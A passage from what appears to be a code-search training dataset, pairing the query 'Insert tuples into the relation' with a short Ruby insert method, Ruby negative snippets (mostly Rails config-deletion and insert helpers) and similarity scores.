"def destroy\n @app_config.destroy\n respond_to do |format|\n format.html { redirect_to app_configs_url, notice: 'App config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sysconfig.destroy\n respond_to do |format|\n format.html { redirect_to sysconfigs_url, notice: 'Sysconfig was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def clear\n self.configuration = {}\n end",
"def delete_launch_configs\n auto_scaling = new_auto_scaling\n groups = auto_scaling.groups\n auto_scaling.launch_configurations.each do |config|\n if groups[config.name].nil?\n puts \"deleting asg launch configuration, #{config.name}\"\n config.delete()\n end\n end\nend",
"def destroy_service\n delete_monit_config\n super\n end",
"def destroy\n @edge_configuration = model.find(params[:id])\n if @edge_configuration.destroy\n flash[:notice] = \"Configuration Variable Deleted\"\n redirect_to :action => :index\n else\n flash[:notice] = \"Failed to delete configuration variable\"\n redirect_to :action => :index\n end\n end",
"def destroy\n @global_config = AppConfig.find(params[:id])\n @global_config.destroy\n\n respond_to do |format|\n format.html { redirect_to global_configs_url }\n format.json { head :no_content }\n end\n end",
"def rm_index_config\n @config.rm_index_config\n end",
"def destroy\n @configuracion = Configuracion.find(params[:id])\n\t@temp = @configuracion.dup\n @configuracion.destroy\n\tguardar_log(session[:usuario_id], self.class.name,__method__.to_s, @temp,nil )\n respond_to do |format|\n format.html { redirect_to configuraciones_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @event_configurations.destroy\n head :no_content\n end",
"def destroy\n @api_config.destroy\n respond_to do |format|\n format.html { redirect_to api_configs_url, notice: 'Api config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @configuracion.destroy\n respond_to do |format|\n format.html { redirect_to configuraciones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n project = ProjectConfig.find(params[:id])\n flash.now[:notice] = \"The project #{project.name} has been removed from the configuration\"\n project.destroy\n find_configurations\n end",
"def clear(option)\n @client.call('config.unset', option)\n end",
"def destroy\n @configure = Configure.find(params[:id])\n @configure.destroy\n\n respond_to do |format|\n format.html { redirect_to configures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @site_config = SiteConfig.find(params[:id])\n @site_config.destroy\n\n respond_to do |format|\n format.html { redirect_to site_configs_url }\n format.json { head :no_content }\n end\n end",
"def delete\n stop\n [ @resource['instances_dir'] + \"/\" + @resource[:name],\n @resource['instances_dir'] + \"/\" + \"_\" + @resource[:name]\n ].each do |dir|\n FileUtils.rm_rf(dir) if File.directory?(dir)\n end\n end",
"def destroy\n Puppet.debug(self.class.to_s.split('::').last + ': Calling destroy method : ')\n\n response, status_code, headers = Puppet::Provider::Cudawaf.delete('SecurityPolicy', @resource[:name], {})\n @property_hash.clear\n [response, status_code, headers]\n end",
"def delete!\n execute_as_user(\"rm -rf #{app_dir}\")\n end",
"def destroy\n @car_config.destroy\n respond_to do |format|\n format.html { redirect_to car_configs_url, notice: 'Config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove(remove_slot = params[\"remove\"])\n\t\tsession[Constants::SESS_MY_CONFIG].remove(remove_slot)\n\t\tgo_to_config\n\tend",
"def remove_config\n FileUtils.cd(self.project_root) { FileUtils.rm_rf \"config/environments/#{self.name}\" }\n end",
"def remove\n remove_checkpoints\n remove_config\n remove_hiera_template\n end",
"def delete(name)\n configure([\"interface #{name}\", 'no ip address', 'switchport'])\n end",
"def destroy\n @app_config = AppConfig.find(params[:id])\n @app_config.destroy\n\n respond_to do |format|\n format.html { redirect_to app_configs_url }\n format.json { head :no_content }\n end\n end",
"def del\n connection.del(key_label)\n end",
"def destroy\n @app_config = AppConfig.find(params[:id])\n @app_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(app_configs_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n status = Sec.SecKeychainDelete(self)\n Sec.check_osstatus(status)\n self\n end",
"def destroy\n @config_value = ConfigValue.find(params[:id])\n @config_value.destroy\n\n redirect_to config_values_url\n end",
"def destroy\n Puppet.debug(\"Calling destroy method of security_policy_parameter_protectionprovider: \")\n end",
"def destroy\n @my_configuration = MyConfiguration.find(params[:id])\n @my_configuration.destroy\n\n respond_to do |format|\n format.html { redirect_to my_configurations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @configuration_set = ConfigurationSet.find(params[:id])\n @configuration_set.destroy\n\n respond_to do |format|\n format.html { redirect_to configuration_sets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @configuracion = Configuracion.find(params[:id])\n @configuracion.destroy\n\n respond_to do |format|\n format.html { redirect_to(configuracions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy \n ec2 = self.class.new_ec2(@resource.value(:user), @resource.value(:password))\n ec2.terminate_instances({:instance_id => @property_hash[:instance_id]})\n ec2.delete_security_group({:group_name => @resource.value(:name)})\n end",
"def destroy\n @config_element.destroy\n respond_to do |format|\n format.html { redirect_to config_elements_url, notice: 'Config element was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def del_old_redis_cfg\n redis.del(old_redis_cfg_key)\n end",
"def destroy\n @user_car_setting.destroy\n respond_to do |format|\n format.html { redirect_to _user_car_settings_url, notice: 'Configuración eliminada' }\n format.json { head :no_content }\n end\n end",
"def deconfigure(cartridge_name)\n cartridge = get_cartridge(cartridge_name)\n delete_private_endpoints(cartridge)\n OpenShift::Utils::Cgroups::with_cgroups_disabled(@user.uuid) do\n do_control('stop', cartridge.directory)\n unlock_gear(cartridge) { |c| cartridge_teardown(c.directory) }\n delete_cartridge_directory(cartridge)\n end\n\n nil\n end",
"def destroy\n @cdg_configuration.destroy\n respond_to do |format|\n format.html { redirect_to cdg_configurations_url, notice: 'Cdg configuration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @config_value = ConfigValue.find(params[:id])\n @config_value.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_config_values_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @venue_config = VenueConfig.get(params[:id])\n @venue_config.current_user = current_user\n @venue_config.destroy if @venue_config\n\n respond_to do |format|\n flash[:notice] = 'VenueConfig was successfully deleted.'\n format.html { redirect_to(venue_configs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @seat_configuration.destroy\n respond_to do |format|\n format.html { redirect_to seat_configurations_url, notice: 'Seat configuration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tag_configuration = TagConfiguration.find(params[:id])\n @tag_configuration.destroy\n\n respond_to do |format|\n format.html { redirect_to(tag_configurations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @launch_configuration = LaunchConfiguration.find(params[:id])\n\t\t@provider_account = @launch_configuration.provider_account\n\n redirect_url = provider_account_url(@provider_account, :anchor => 'auto_scaling')\n\t\treturn redirect_to(redirect_url) if @launch_configuration.active?\n\n\t\t@error_messages = []\n @launch_configuration.destroy\n\t\t@error_messages += @launch_configuration.errors.collect{ |attr,msg| \"#{attr.humanize} - #{msg}\" }\n\n respond_to do |format|\n\t\t\tif @error_messages.empty?\n\t\t\t\tp = @provider_account\n\t\t\t\to = @launch_configuration\n\t\t\t\tAuditLog.create_for_parent(\n\t\t\t\t\t:parent => p,\n\t\t\t\t\t:auditable_id => nil,\n\t\t\t\t\t:auditable_type => o.class.to_s,\n\t\t\t\t\t:auditable_name => o.name,\n\t\t\t\t\t:author_login => current_user.login,\n\t\t\t\t\t:author_id => current_user.id,\n\t\t\t\t\t:summary => \"deleted '#{o.name}'\",\n\t\t\t\t\t:changes => o.tracked_changes,\n\t\t\t\t\t:force => true\n\t\t\t\t)\n\t\t\telse\n\t\t\t\tflash[:error] = @error_messages.join('<br/>')\n\t\t\tend\n format.html { redirect_to redirect_url }\n format.xml { head :ok }\n format.js\n end\n end",
"def clear\n validate_arguments!\n\n action(\"Removing all SSH keys\") do\n api.delete_keys\n end\n end",
"def destroy\n @car_configuration = CarConfiguration.find(params[:id])\n @car_configuration.destroy\n\n respond_to do |format|\n format.html { redirect_to car_configurations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @char_config.destroy\n respond_to do |format|\n format.html { redirect_to char_configs_url, notice: 'Char config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def rm_service_configuration(config_hash)\n st = match_node_keys(@registry, config_hash, full_address)\n remove_tree_entry(st) if st.is_a?(Tree::TreeNode)\n end",
"def remove_config(name)\n variables[name] = nil\n end",
"def delete\n FileUtils.remove_entry_secure(@directory)\n ObjectSpace.undefine_finalizer(self)\n rescue Errno::ENOENT\n end"
] |
[
"0.6760006",
"0.6760006",
"0.6325618",
"0.63003814",
"0.61494595",
"0.6101288",
"0.6100471",
"0.60323316",
"0.6031614",
"0.5991961",
"0.5944621",
"0.5927239",
"0.5879597",
"0.5853687",
"0.58449",
"0.58449",
"0.58249944",
"0.582128",
"0.58144426",
"0.5813855",
"0.5775833",
"0.57648015",
"0.5762952",
"0.575348",
"0.57469326",
"0.5742959",
"0.5742544",
"0.5742544",
"0.5742544",
"0.57425016",
"0.57318187",
"0.5731178",
"0.57260096",
"0.57260096",
"0.57173055",
"0.56968075",
"0.56888074",
"0.5675295",
"0.5659307",
"0.5644371",
"0.5642162",
"0.56339985",
"0.5630066",
"0.56271136",
"0.56228054",
"0.56210387",
"0.56169885",
"0.56102115",
"0.56099224",
"0.55973923",
"0.55798876",
"0.556707",
"0.55652344",
"0.55468833",
"0.5531643",
"0.5498976",
"0.5497878",
"0.54867876",
"0.54816544",
"0.54775935",
"0.54729635",
"0.54709655",
"0.54672277",
"0.54669476",
"0.54608905",
"0.54556984",
"0.54409397",
"0.5440082",
"0.5433144",
"0.54328823",
"0.54209465",
"0.540317",
"0.5402966",
"0.5402613",
"0.5401725",
"0.5396816",
"0.5393871",
"0.5389653",
"0.5382081",
"0.5378274",
"0.5369235",
"0.53630364",
"0.5354561",
"0.5354225",
"0.53533506",
"0.5340662",
"0.5339681",
"0.5330401",
"0.5326861",
"0.5326625",
"0.5323041",
"0.5318073",
"0.531248",
"0.5311961",
"0.53111994",
"0.5301433",
"0.52962774",
"0.5289449",
"0.5287958",
"0.52861357",
"0.5283007"
] |
0.0
|
-1
|
Insert tuples into the relation
|
def insert(*args)
dataset.insert(*args)
self
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def insert(tuples)\n pks = tuples.map { |tuple| relation.insert(tuple) }\n relation.where(relation.primary_key => pks).to_a\n end",
"def multi_insert(tuples)\n pks = relation.multi_insert(tuples, return: :primary_key)\n relation.where(relation.primary_key => pks).to_a\n end",
"def insert(name, tuples)\n raise NotSupportedError, \"Unable to insert in `#{self}`\"\n end",
"def execute(tuples)\n insert_tuples = with_input_tuples(tuples) do |tuple|\n attributes = input[tuple]\n attributes.to_h\n end\n\n if insert_tuples.length > 1\n multi_insert(insert_tuples)\n else\n insert(insert_tuples)\n end\n end",
"def insert(p0, p1) end",
"def visit_Arel_Nodes_InsertStatement o, *a\n [\n \"INSERT INTO #{visit(o.relation).gsub(/\"/, '')}\",\n \"(#{o.columns.map { |x| x.name }.join ', '})\",\n \" VALUES (#{o.values.left.map { |value| value }.join ', '})\"\n ].compact.join ' '\n end",
"def insert_pair g, m\n @objects.add(g)\n @attributes.add(m)\n @intent_map[g].add(m)\n @extent_map[m].add(g)\n end",
"def insert(*values)\n raise NotImplementedError, NOTIMPL_MSG\n end",
"def insert(object)\n key_name = attributes.key[0].name\n tuple = dump(object)\n tuple.delete(key_name)\n key_value = relation.insert(tuple)\n\n object.public_send(\"#{key_name}=\", key_value)\n\n object\n end",
"def otabinsert(otab,*set)\n raise \"non-existent otab!\" if otab.nil?\n\ttup = Tuple.new(*set)\n\ttup.schema = otab.schema_of\n\n\t#print \"TUPLE: \"+tup.inspect+\"\\n\"\n\tts = TupleSet.new(otab.name.to_s,tup)\n\totab.insert(ts,nil)\nend",
"def <<(values)\n values = prepare_relation(values) if values.is_a?(Relation)\n self.set(objects.to_a | Array.wrap(values))\n end",
"def linsert(key, where, pivot, value); end",
"def linsert(key, where, pivot, value); end",
"def insert(table, id, attributes) # abstract\n end",
"def add(tuple)\n if dom = domain(tuple)\n @bin[dom] = tuple\n else\n raise RuntimeError\n end\n end",
"def insert values\n im = InsertManager.new @engine\n im.insert values\n @engine.connection.insert im.to_sql\n end",
"def _insert_values\n identifier_hash(super)\n end",
"def insert(statements)\n raise TriplestoreAdapter::TriplestoreException.new(\"#{@provider.class.name} missing insert method.\") unless @provider.respond_to?(:insert)\n @provider.insert(statements)\n end",
"def insert(other)\n other = coerce(other)\n insert_left(other).join(insert_right(other))\n end",
"def insert!(*rows)\n Mao.sql(with_options(:insert => rows.flatten).sql) do |pg_result|\n if @options[:returning]\n pg_result.map {|result| Mao.normalize_result(result, @col_types)}\n else\n pg_result.cmd_tuples\n end\n end\n end",
"def insert(values)\n primary_key_value = nil\n\n if primary_key && Hash === values\n primary_key_value = values[values.keys.find { |k|\n k.name == primary_key\n }]\n\n if !primary_key_value && connection.prefetch_primary_key?(klass.table_name)\n primary_key_value = connection.next_sequence_value(klass.sequence_name)\n values[klass.arel_table[klass.primary_key]] = primary_key_value\n end\n end\n\n im = arel.create_insert\n\n # ****** BEGIN PARTITIONED PATCH ******\n actual_arel_table = @klass.dynamic_arel_table(Hash[*values.map{|k,v| [k.name,v]}.flatten]) if @klass.respond_to?(:dynamic_arel_table)\n actual_arel_table = @table unless actual_arel_table\n # Original line:\n # im.into @table\n im.into actual_arel_table\n # ****** END PARTITIONED PATCH ******\n\n conn = @klass.connection\n\n substitutes = values.sort_by { |arel_attr,_| arel_attr.name }\n binds = substitutes.map do |arel_attr, value|\n [@klass.columns_hash[arel_attr.name], value]\n end\n\n substitutes.each_with_index do |tuple, i|\n tuple[1] = conn.substitute_at(binds[i][0], i)\n end\n\n if values.empty? # empty insert\n im.values = Arel.sql(connection.empty_insert_statement_value)\n else\n im.insert substitutes\n end\n\n conn.insert(\n im,\n 'SQL',\n primary_key,\n primary_key_value,\n nil,\n binds)\n end",
"def insert_all(iter)\n iter.each {|v|\n insert v\n }\n nil\n end",
"def add_to_graph\n connection.execute <<-EOS\n REPLACE INTO #{oqgraph_table_name} (origid, destid, weight) \n VALUES (#{self.send(self.class.from_key)}, #{self.send(self.class.to_key)}, #{self.send(self.class.weight_column) || 1.0})\n EOS\n end",
"def insertion(val, rel, recursive = T.unsafe(nil), list = T.unsafe(nil)); end",
"def insert(ind, *rest) end",
"def insert_references( heap_objects )\n sql = <<-SQL\n INSERT INTO 'references' ('a', 'b') VALUES (:a, :b)\n SQL\n\n db.transaction do |transaction|\n transaction.prepare(sql) do |statement|\n heap_objects.each do |obj|\n address = obj.address\n references = obj.references\n next if references.nil? || references.empty?\n\n references.uniq.each do |reference|\n statement.execute({\":a\" => address, \":b\" => reference})\n end\n end\n end\n end\n end",
"def insert values\n if $VERBOSE\n warn <<-eowarn\ninsert (#{caller.first}) is deprecated and will be removed in ARel 3.0.0. Please\nswitch to `compile_insert`\n eowarn\n end\n @engine.connection.insert compile_insert(values).to_sql\n end",
"def atomic_inserts\n { atomic_insert_modifier => { atomic_position => as_attributes }}\n end",
"def relation_add(kind, value, sibling_id = nil)\n return if !value || value == nil\n value = value.to_s.strip\n relation = relation_first_exact(kind,value,sibling_id)\n if relation\n\t# relation.update_attributes(:value => value, :sibling_id => sibling_id )\n\treturn\n end\n Relation.create!({\n :note_id => self.id,\n :sibling_id => sibling_id,\n :kind => kind,\n :value => value\n })\n end",
"def relation_add_array(kind,value,sibling_id = nil)\n relation_destroy(kind,sibling_id)\n return if !value || value == nil || value.length == 0\n value.each do |v|\n Relation.create!({\n :note_id => self.id,\n :sibling_id => sibling_id,\n :kind => kind,\n :value => v.strip\n })\n end\n end",
"def insert_sql(*values)\n if values.size == 1 && (v = values[0]).is_a?(Sequel::Model) && !v.respond_to?(:sql_literal_append)\n Sequel::Deprecation.deprecate(\"Passing Sequel::Model instance argument to Sequel::Dataset#insert\", \"Pass model_instance.values or model_instance.to_hash as the argument instead\")\n super(v.to_hash)\n else\n super\n end\n end",
"def insert(*values)\n if @opts[:sql] || @opts[:returning]\n super\n else\n returning(insert_pk).insert(*values){|r| return r.values.first}\n end\n end",
"def insert_after(pivot, item)\n conn.linsert key, :after, pivot, item\n end",
"def adding_plan_relation(transaction, parent, child, relations, info); end",
"def linsert(key, where, pivot, value)\n send_command([:linsert, key, where, pivot, value])\n end",
"def patch_relation_tuples(opts = {})\n patch_relation_tuples_with_http_info(opts)\n nil\n end",
"def _insert(*)\n fail NotImplementedError\n end",
"def add_all(pairs)\n end",
"def insert_before(pivot, item)\n conn.linsert key, :before, pivot, item\n end",
"def add_tuple_space(tuple_space)\n uuid = tuple_space.uuid\n\n # update tuple space table with the id\n @tuple_space_lock.synchronize {@tuple_space[uuid] = tuple_space}\n end",
"def insert(template, *data) # :nodoc:\n chk_conn\n conn = @hibernate_session.connection\n stmt = conn.prepare_statement(template)\n data.each do |d|\n d.each_with_index do |item, index|\n if item.kind_of?(Array)\n set_prepared_statement(stmt, item[0], index+1, item[1])\n else\n set_prepared_statement(stmt, item, index+1, nil)\n end\n end\n stmt.execute_update\n end\n conn.commit\n ensure\n stmt.close rescue nil\n end",
"def insert\n array = [[@name, @tagline, @github, @twitter, @blog_url, @image_url, @biography]]\n ins = DB[:conn].prepare(\"INSERT INTO students (name, tagline, github, twitter, blog_url, image_url, biography) VALUES (?, ?, ?, ?, ?, ?, ?);\")\n array.each { |s| ins.execute(s)}\n self.id = DB[:conn].execute(\"SELECT last_insert_rowid() FROM students;\")[0][0]\n #ask steven re. index figures\n #inserting data into an instance\n end",
"def insert_into(table, data)\n\t\tkeys = \"(#{data.keys.join(', ')})\"\n\t\tvalues = \"(#{data.values.map{ |value| \"'#{value}'\" }.join(', ')})\"\n\t\texecute_with_retry \"INSERT INTO #{table} #{keys} VALUES #{values}; \"\n\tend",
"def insert_statement(statement)\n self.inserts << statement\n end",
"def insert_statement(statement)\n self.inserts << statement\n end",
"def insert(**opts)\n add(**opts)\n save!\n end",
"def populate_relation(args)\n\targs[:keys_B].each do |key_B|\n\t\tapi_url = \"#{@base_url}/#{args[:coll_A]}/#{args[:key_A]}/relation/\" +\n\t\t \"#{args[:relation]}/#{args[:coll_B]}/#{key_B}\"\n\t\tputs do_the_put_call({ url: api_url, user: @user, json: '{}' })\n\tend\nend",
"def insert_many( sql, values, _options = {}, *args ) # :nodoc:\n number_of_inserts = 0\n\n base_sql, post_sql = case sql\n when String\n [sql, '']\n when Array\n [sql.shift, sql.join( ' ' )]\n end\n\n value_sets = ::ActiveRecord::Import::ValueSetsRecordsParser.parse(values,\n max_records: SQLITE_LIMIT_COMPOUND_SELECT)\n\n transaction(requires_new: true) do\n value_sets.each do |value_set|\n number_of_inserts += 1\n sql2insert = base_sql + value_set.join( ',' ) + post_sql\n insert( sql2insert, *args )\n end\n end\n\n ActiveRecord::Import::Result.new([], number_of_inserts, [], [])\n end",
"def merge(tuples)\n tuples.each(&method(:<<))\n self\n end",
"def insert_record(table, values)\n execute table_insert_query(table, values)\n end",
"def linsert(key, where, pivot, value)\n node_for(key).linsert(key, where, pivot, value)\n end",
"def batch_insert(docs)\n execute_batch_push(docs)\n end",
"def merge_insert(*values, &block)\n h = {:type=>:insert, :values=>values}\n if override = @opts[:override]\n h[:override] = insert_override_sql(String.new)\n end\n _merge_when(h, &block)\n end",
"def insert_between(s1, s2, add=false)\n if not add\n if s1 and s2\n StorylineLinks.where('from_id = ? AND to_id = ?', s1, s2).update_all(:to_id => self.id)\n elsif s1\n insert_after(s1, add)\n elsif s2\n insert_before(s2)\n end\n else\n StorylineLinks.new(:from_id => s1.id, :to_id => self.id).save if s1\n end\n StorylineLinks.new(:from_id => self.id, :to_id => s2.id).save if s2\n end",
"def insert(v)\n \n end",
"def generate_person_and_task_relations(relations)\n relations.each_pair { |person_id, values|\n values.each { |task_id|\n @db_base.map_task_to_person(person_id, task_id)\n }\n }\n end",
"def insert\n # the array of ::columns of the class joined with commas, drop id\n col_names = self.class.columns[1..-1].join(\", \") \n # an array of question marks\n question_marks = ([\"?\"] * col_names.split.size).join(\", \")\n\n DBConnection.execute(<<-SQL, *attribute_values[1..-1])\n INSERT INTO\n #{self.class.table_name} (#{col_names})\n VALUES\n (#{question_marks})\n SQL\n\n self.id = DBConnection.last_insert_row_id\n end",
"def insert\n \n attributes = []\n instance_variables.each do |i|\n attributes << i.to_s.delete(\"@\") if (i != :@id && i != :@table)\n end\n \n values = []\n attributes.each do |a|\n value = self.send(a)\n \n if value.is_a?(Integer)\n values << \"#{value}\"\n else values << \"'#{value}'\"\n end\n end\n \n DATABASE.execute(\"INSERT INTO students (#{attributes.join(\", \")}) \n VALUES (#{values.join(\", \")})\")\n @id = DATABASE.last_insert_row_id\n\n end",
"def new_word_relation(sax, author_id)\n WordRelation.new.tap do |relation|\n relation.author_id = author_id\n relation.word1_id = sax.word1_id\n relation.word2_id = sax.word2_id\n end\nend",
"def insert(row, values)\n values = Array(values)\n unless values.empty?\n @data.expand(row, values.count)\n @data.values.insert row, Array.new([@data.columns_count, values.count].max) { |index| values[index] }\n end\n self\n end",
"def insert_nodes_only(items, location, target, contexts)\n \n puts @location_path_processor.get_node(location).to_s\n \n #sort items the way they should be stored\n #so for BEFORE, INTO and AS LAST INTO (which are the same) we dont need to sort anything\n #for AFTER and AS FIRST INTO should be sorted reversely because we are going to insert them sequentially\n # - always AFTER the location or AS FIRST in the location\n reverse_specific_items = Proc.new { |item_array, specific_target|\n case specific_target\n when ExpressionModule::InsertExprHandle::TARGET_AFTER, ExpressionModule::InsertExprHandle::TARGET_INTO_FIRST\n item_array.reverse!\n end\n }\n reverse_specific_items.call(items, target)\n \n items.each { |item|\n case item.type\n #adding relative or previously loaded var\n when ExpressionModule::RelativePathExpr, ExpressionModule::VarRef\n extended_keys_to_insert = []\n contexts.each { |context|\n case item.type\n when ExpressionModule::RelativePathExpr\n extended_keys_to_insert.concat(@path_solver.solve(item, context))\n when ExpressionModule::VarRef\n extended_keys_to_insert.concat(context.variables[item.var_name])\n else\n raise StandardError, \"impossible\"\n end\n }\n reverse_specific_items.call(extended_keys_to_insert, target)\n add_elements(extended_keys_to_insert, location, target)\n \n #adding constructor\n when ExpressionModule::CompAttrConstructor\n case target\n when ExpressionModule::InsertExprHandle::TARGET_BEFORE, ExpressionModule::InsertExprHandle::TARGET_AFTER \n add_attribute(item, Transformer::KeyElementBuilder.build_from_s(location.key_builder, location.parent_key))\n else\n add_attribute(item, location.key_element_builder)\n end\n \n \n when ExpressionModule::DirElemConstructor\n contexts.each { |context|\n add_node(item.nokogiri_node(@path_solver, context), location, target)\n }\n \n \n when ExpressionModule::StringLiteral\n contexts.each { |context|\n add_text(item.text, location, target)\n }\n \n \n end\n }\n end",
"def insert(data) \n set data, 1\n end",
"def insert(data) \n set data, 1\n end",
"def create(values)\n a = new(values)\n a.insert\n a\n end",
"def add_to_database\n Link.add({\"assignment_id\" => \"#{self.assignment_id}\", \"link\" => \"#{self.link}\", \"type\" => \"#{self.type}\"})\n end",
"def insert row_ind, count=1\n @row_refs.insert(row_ind,count)\n end",
"def insert\n col_names = self.class.columns.join(\", \")\n question_marks = ([\"?\"] * self.class.columns.length).join(\", \")\n DBConnection.execute(<<-SQL, *attribute_values)\n INSERT INTO\n #{self.class.table_name} (#{col_names})\n VALUES\n (#{question_marks})\n SQL\n\n self.id = DBConnection.last_insert_row_id\n end",
"def exec_insert(sql, name, binds)\n exec_query(sql, name, binds)\n end",
"def insert_in_database\n Fetch.new(insertion_query).array\n end",
"def add_relationship ( user , country_list, rel_type )\n country_list.each do |country_node|\n rel_instance = get_rel_instance rel_type\n rel_instance.from_node = user\n rel_instance.to_node = country_node\n rel_instance.save\n end\n end",
"def insert_at(data, position)\n node, head, tail = set_insert_vars(data, position)\n\n # before: head -> position\n # after: head -> node -> position\n head.tail = node\n node.tail = position\n position.head = node\n node.head = head\n\n @size += 1\n end",
"def create_relation_tuple(opts = {})\n data, _status_code, _headers = create_relation_tuple_with_http_info(opts)\n data\n end",
"def _insert_raw(ds)\n ds.insert(_insert_values)\n end",
"def _insert_raw(ds)\n ds.insert(_insert_values)\n end",
"def exec_insert(sql, name, binds)\n exec_query(sql, name, binds)\n end",
"def pre_process_batch_insert(docs)\n docs.map do |doc|\n next unless doc\n append(doc)\n if persistable? && !_assigning?\n self.path = doc.atomic_path unless path\n if doc.valid?(:create)\n doc.run_before_callbacks(:save, :create)\n else\n self.inserts_valid = false\n end\n end\n doc.send(:as_attributes)\n end\n end",
"def insert_ids_to_post_tags(new_tag_id)\n insert_query = \"INSERT INTO posts_tags(tag_id, post_id)VALUES(#{new_tag_id}, #{self.id});\"\n ActiveRecord::Base.connection.execute(insert_query)\n end",
"def multi_insert_sql(columns, values)\n table = quote_identifier(@opts[:from].first)\n columns = literal(columns)\n values.map do |r|\n \"INSERT INTO #{table} #{columns} VALUES #{literal(r)}\"\n end\n end",
"def insert(*objects)\n objects = objects.first if objects.size == 1 && objects.first.is_a?(Array)\n res = @db.insert_into_db(@name, objects)\n res.size > 1 ? res : res.first\n end",
"def insert_author_affiliation(affi_object, cd_affi_ids)\n # insert the object\n # get the id of the inserted object\n # update all cr_affiliations with the author_affiliation_id\n sql_statement = \\\n \"SELECT id, name FROM cr_affiliations WHERE article_author_id = \" + affi_object.article_author_id.to_s + \";\"\n db = get_db()\n #stm = db.prepare sql_statement\n #rs = stm.execute\n\n db.execute(\"INSERT INTO Author_Affiliations VALUES (?,?,?,?,?,?,?,?,?,?,?,?)\", 1, affi_object.article_author_id, affi_object.name, affi_object.short_name,\n affi_object.add_01, affi_object.add_02, affi_object.add_03,affi_object.add_04, affi_object.add_05, affi_object.country,'2020-09-27','2020-09-27')\nend",
"def insert()\n\n end",
"def exec_insert(sql, name = nil, binds = [], pk = nil, sequence_name = nil)\n exec_query(sql, name, binds)\n end",
"def _add_tuple(objdata_, tuple_) # :nodoc:\n return false if @tuples.has_key?(tuple_)\n @tuples[tuple_] = objdata_\n tupcats_ = []\n @categories.each do |category_, catdata_|\n if Utils.matches?(catdata_[0], tuple_)\n index_ = catdata_[1].map{ |i_| tuple_[i_] }\n ((@catdata[category_] ||= {})[index_] ||= {})[tuple_] = objdata_\n tupcats_ << category_\n end\n end\n objdata_[2][tuple_] = tupcats_\n true\n end",
"def insert\n\n DBConnection.execute2(<<-SQL, attribute_values)\n INSERT INTO\n #{class_obj.table_name} #{sql_columns}\n VALUES\n #{sql_question_marks}\n SQL\n\n self.id = DBConnection.last_insert_row_id\n end",
"def insert(data)\n @nodes << data\n heapify_up\n end",
"def create_insert()\n script = []\n attributes.each do |a|\n script << a.create_insert\n end\n children.each do |c|\n script << c.create_insert\n end\n \n InsertElement.new(XElement.new(self.name), script)\n end",
"def insert_id!(arr, insertable)\n arr << insertable\n insertable\nend",
"def insert(column, values)\n values = Array(values)\n unless values.nil? or values.empty?\n @data.expand(values.count, column)\n [@data.rows_count, values.count].max.times { |index| (@data.values[index] ||= []).insert column, values[index] }\n end\n self\n end",
"def build_insert(data)\n fields = \"\"\n values = \"\"\n data.each do |k,v|\n fields += \"`#{escape_str_field(k)}`, \"\n values += escape_value(v)+\", \"\n end\n \"(\"+fields.chomp(', ')+\") VALUES (\"+values.chomp(', ')+\")\"\n end",
"def _insert(step, options, original_proc, operator)\n options = { append: true }.merge(options)\n\n insert!(step, options).tap do\n @step2proc ||= StepMap.new\n @step2proc[step] = options[:name], original_proc, operator\n end\n end",
"def to_insert(output, table, row)\n columns = @columns[table].map {|i| i[0] }.join(',')\n values = map_values(row, @columns[table])\n output << \"INSERT INTO #{table} (#{columns}) VALUES (#{values});\\n\"\n end",
"def insert_many(documents, options = nil)\n native.insert_many(documents, options || {}).inserted_ids\n end",
"def insertVertice(node, distance, predecessor)\n\t\t@graph << @vertice.new(node, distance, predecessor)\n\tend",
"def put_relation(args)\n\tapi_url = \"#{@base_url}/#{args[:coll_A]}/#{args[:key_A]}/relation/\" +\n\t \"#{args[:relation]}/#{args[:coll_B]}/#{key_B}\"\n\tputs do_the_put_call( url: api_url, user: @user, json: '{}')\nend",
"def insert_after(child1, child2); end",
"def insert(documents, flags=nil)\n documents = [documents] unless documents.is_a?(Array)\n documents.each do |doc|\n promiscuous_create_operation(:document => doc).execute { super(doc, flags) }\n end\n end",
"def insert\n attributes = []\n instance_variables.each { |i|\n attributes << i.to_s.delete(\"@\")\n }\n\n query_components_array = []\n attributes.each { |x|\n value = self.send(x)\n\n if value.is_a?(Integer)\n query_components_array << \"#{value}\"\n else\n query_components_array << \"'#{value}'\"\n end\n }\n\n query_string = query_components_array.join(\", \")\n puts query_string\n\n DATABASE.execute(\"INSERT INTO items (name, category, location, quantity, cost, description) VALUES (#{query_string})\")\n\n puts \"Inserted successfully!\"\n end",
"def insert\n # Preparing for the query...\n cols = self.class.columns\n col_names = cols.map(&:to_s).join(\", \")\n question_marks = ([\"?\"] * cols.count).join(\", \")\n \n # The actual query\n DBConnection.execute(<<-SQL, *attribute_values)\n INSERT INTO\n #{ self.class.table_name } (#{ col_names })\n VALUES\n (#{ question_marks })\n SQL\n \n # Add an id number for the record\n self.id = DBConnection.last_insert_row_id\n end",
"def _insert(operator, proc, options={})\n heritage.record(:_insert, operator, proc, options)\n\n DSL.insert(self[\"pipetree\"], operator, proc, options, definer_name: self.name)\n end",
"def tuples; end"
] |
[
"0.80383486",
"0.7057741",
"0.6322903",
"0.62084985",
"0.6179151",
"0.61608",
"0.61463",
"0.6128502",
"0.6078597",
"0.6018639",
"0.59077644",
"0.587551",
"0.587551",
"0.5801934",
"0.58017886",
"0.5783541",
"0.5757908",
"0.57449186",
